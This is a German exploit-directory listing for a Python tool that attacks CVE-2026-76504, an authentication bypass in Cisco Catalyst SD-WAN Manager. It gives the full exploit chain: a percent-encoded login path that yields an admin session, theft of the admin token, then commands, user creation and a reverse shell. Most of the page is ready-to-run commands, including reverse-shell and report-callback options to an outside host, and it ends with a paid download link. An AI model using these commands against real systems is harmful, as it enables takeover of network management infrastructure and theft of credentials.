Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-76504-Cisco — Python-Exploit für CVE-2026-76504, eine Authentifizierungsumgehung bei Cisco Catalyst SD-WAN Manager über prozentkodiertes j_security_check, mit Token-Diebstahl, API-Aufrufen und Reverse Shell. | Kitploit
Tools/GitHubGitHub/maxprog-svg/cve-2026-76504-cisco
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPost-ExploitationNetzwerksicherheitPenetrationstestsAuthentifizierungRemote-Access-Tool
GitHub
maxprog-svg/cve-2026-76504-cisco

CVE-2026-76504-Cisco

Python-Exploit für CVE-2026-76504, eine Authentifizierungsumgehung bei Cisco Catalyst SD-WAN Manager über prozentkodiertes j_security_check, mit Token-Diebstahl, API-Aufrufen und Reverse Shell.

Repository anzeigen
vor 13 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-76504 — Cisco Catalyst SD-WAN Manager Auth-Bypass-Exploit

Überblick

CVE-2026-76504 ist eine kritische Authentifizierungsumgehung (CVSS 9.8, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, CWE-177) in Cisco Catalyst SD-WAN Manager (vManage). Sie ist im CISA KEV-Katalog aufgeführt und wird seit September 2026 aktiv in freier Wildbahn ausgenutzt. Es gibt keine Problemumgehung; nur das Einspielen von Patches beseitigt die Schwachstelle.

Die Ursache ist eine inkonsistente URI-Normalisierung zwischen der Authentifizierungs-Middleware und dem Request-Router. Wird ein einzelnes Zeichen des geschützten j_security_check-Login-Pfads prozentkodiert, sieht die Auth-Regel eine andere (saubere) URI, während der Router die gleiche (Login-)URI auflöst — so stellt der Server eine gültige Admin-Sitzung ohne jegliche gültigen Anmeldedaten aus.

Advisory: cisco-sa-sdwan-webauth-xr8beuuU


Betroffene Versionen

BranchBehoben in
20.9.x20.9.10.1
20.12.x20.12.8.2
20.15.x20.15.6.1
20.18.x20.18.4.1
26.1.x26.1.2.1
26.226.2.1

Exploit-Kette

step1  POST /%6a_security_check        (%6a = percent-encoded 'j')
       -> the auth rule is skipped, the request is mapped to a
          'viptela-reserved-*' service account and a valid JSESSIONID
          is returned.

step2  GET  /dataservice/client/token  (with the JSESSIONID cookie)
       -> 128-char uppercase hex admin API token.

step3  authenticated admin API calls / command execution / reverse shell.
       Follow-up requests send the session cookie plus the token in the
       X-XSRF-TOKEN header (documented vManage API convention).

Voraussetzungen

  • Python 3.8+ — nur Standardbibliothek, keine pip-Installationen.
  • Netzwerkerreichbarkeit der Ziel-Management-API (TCP 443/8443).

Schnellstart

# Verify the target is vulnerable
python3 exploit.py -t https://10.0.0.1 --check

# Full chain, human-readable output
python3 exploit.py -t https://10.0.0.1 --recon

# Machine-readable JSON report
python3 exploit.py -t https://10.0.0.1 --json

# Authenticated follow-up API call (repeatable)
python3 exploit.py -t https://10.0.0.1 \
  --api 'GET /dataservice/user/user'

# Execute a management command (repeatable)
python3 exploit.py -t https://10.0.0.1 \
  --cmd 'show version'

# Reverse shell with a local interactive listener
python3 exploit.py -t https://10.0.0.1 \
  --revshell --rs-host 10.0.0.2 --rs-port 4444 --listen

# Offline self-test against the built-in mock vManage
python3 exploit.py --selftest

Optionen

OptionBeschreibung
-t, --targetHost oder scheme://host[:port] (Standardport 443)
--portPort überschreiben
--httpreines HTTP erzwingen
--insecureTLS-Zertifikatsprüfung überspringen
--proxyForward-Proxy http://host:port
--timeoutTimeout pro Anfrage in Sekunden (Standard 10)
-u, --userWert für das Formularfeld j_username (Standard admin; Authentifizierung wird umgangen)
-p, --passWert für das Formularfeld j_password (Standard admin; Authentifizierung wird umgangen)
--enc-charZeichen von j_security_check, das prozentkodiert werden soll (Standard j)
--enc-stylelower (Standard), upper oder double-Kodierung
--token-urlAdmin-Token-Endpunkt (Standard /dataservice/client/token)
--skip-tokennach Schritt 1 stoppen (nur Sitzung)
--checknur Verifikation: Schritt 1, Bericht, Beenden
--api SPECauthentifizierter Aufruf: `'METHOD PATH [json
--cmd CMDVerwaltungsbefehl unter der gestohlenen Sitzung (wiederholbar)
--cmd-urlBefehls-Endpunkt (Standard /dataservice/command)
--cmd-fieldJSON-Payload-Schlüssel, der den Befehl trägt (Standard command)
--revshelleinen Reverse-Shell-Befehl erstellen und ausführen
--rs-implbash (Standard), nc, python3, perl
--rs-host/--rs-portHost/Port für den Reverse-Shell-Callback
--listeneinen lokalen Listener starten und die Shell interaktiv weiterleiten
--reconKandidaten-Endpunkte mit der gestohlenen Sitzung sondieren
--callback URLden JSON-Bericht per POST an eine URL senden
--dump DIRAntwortartefakte in einem Verzeichnis speichern
--repeat Ndie Kette N-mal wiederholen
--reqidX-Request-Id: <uuid4> senden (IOC-Treue)
--uaUser-Agent (Standard Mozilla/5.0)
-v, --verboseRohdaten von Anfragen/Antworten ausgeben
--jsonnur maschinenlesbarer Bericht
--selftestOffline-Selbsttest über den integrierten Mock

Exit-Codes

CodeBedeutung
0Umgehung bestätigt
1fehlgeschlagen / Verifikationsfehler
2Ziel nicht erreichbar

Beispiele

# Verify only (lowercase encoding)
python3 exploit.py -t 10.0.0.1 --port 8443 --check

# Uppercase / double encoding variants
python3 exploit.py -t https://10.0.0.1 --enc-style upper --check
python3 exploit.py -t https://10.0.0.1 --enc-style double --check

# Encode a different character of the path
python3 exploit.py -t https://10.0.0.1 --enc-char s --check

# Enumerate users via the stolen session
python3 exploit.py -t https://10.0.0.1 \
  --api 'GET /dataservice/user/user'

# POST JSON payload
python3 exploit.py -t https://10.0.0.1 \
  --api 'POST /dataservice/user {"userName":"x","password":"y"}'

# POST a payload from a file
python3 exploit.py -t https://10.0.0.1 \
  --api 'POST /dataservice/setting @payload.json'

# Save artifacts and POST the report to a callback
python3 exploit.py -t https://10.0.0.1 \
  --dump ./out --callback http://10.0.0.2:8000/report --json

# Through a forward proxy, ignoring TLS validation
python3 exploit.py -t https://10.0.0.1 \
  --proxy http://127.0.0.1:8080 --insecure --check

Hinweise

  • Die Standard-Anmeldedaten (admin/admin) werden nur als Formularfeldwerte verwendet; die Auth-Regel selbst wird durch den kodierten Pfad umgangen, sodass die Anmeldedatenwerte auf einem verwundbaren Ziel nicht korrekt sein müssen.

  • --check führt nur Schritt 1 aus und meldet, ob ein Session-Cookie ausgegeben wurde. Es werden keine weiteren authentifizierten Aufrufe durchgeführt.

  • Das Tool ist eine einzelne, abhängigkeitsfreie Datei für ausschließlich autorisierte Sicherheitstests und Forschung. Verwende es nur gegen Systeme, die du testen darfst.

    https://satoshidisk.com/pay/CSgu4Q

Tool herunterladen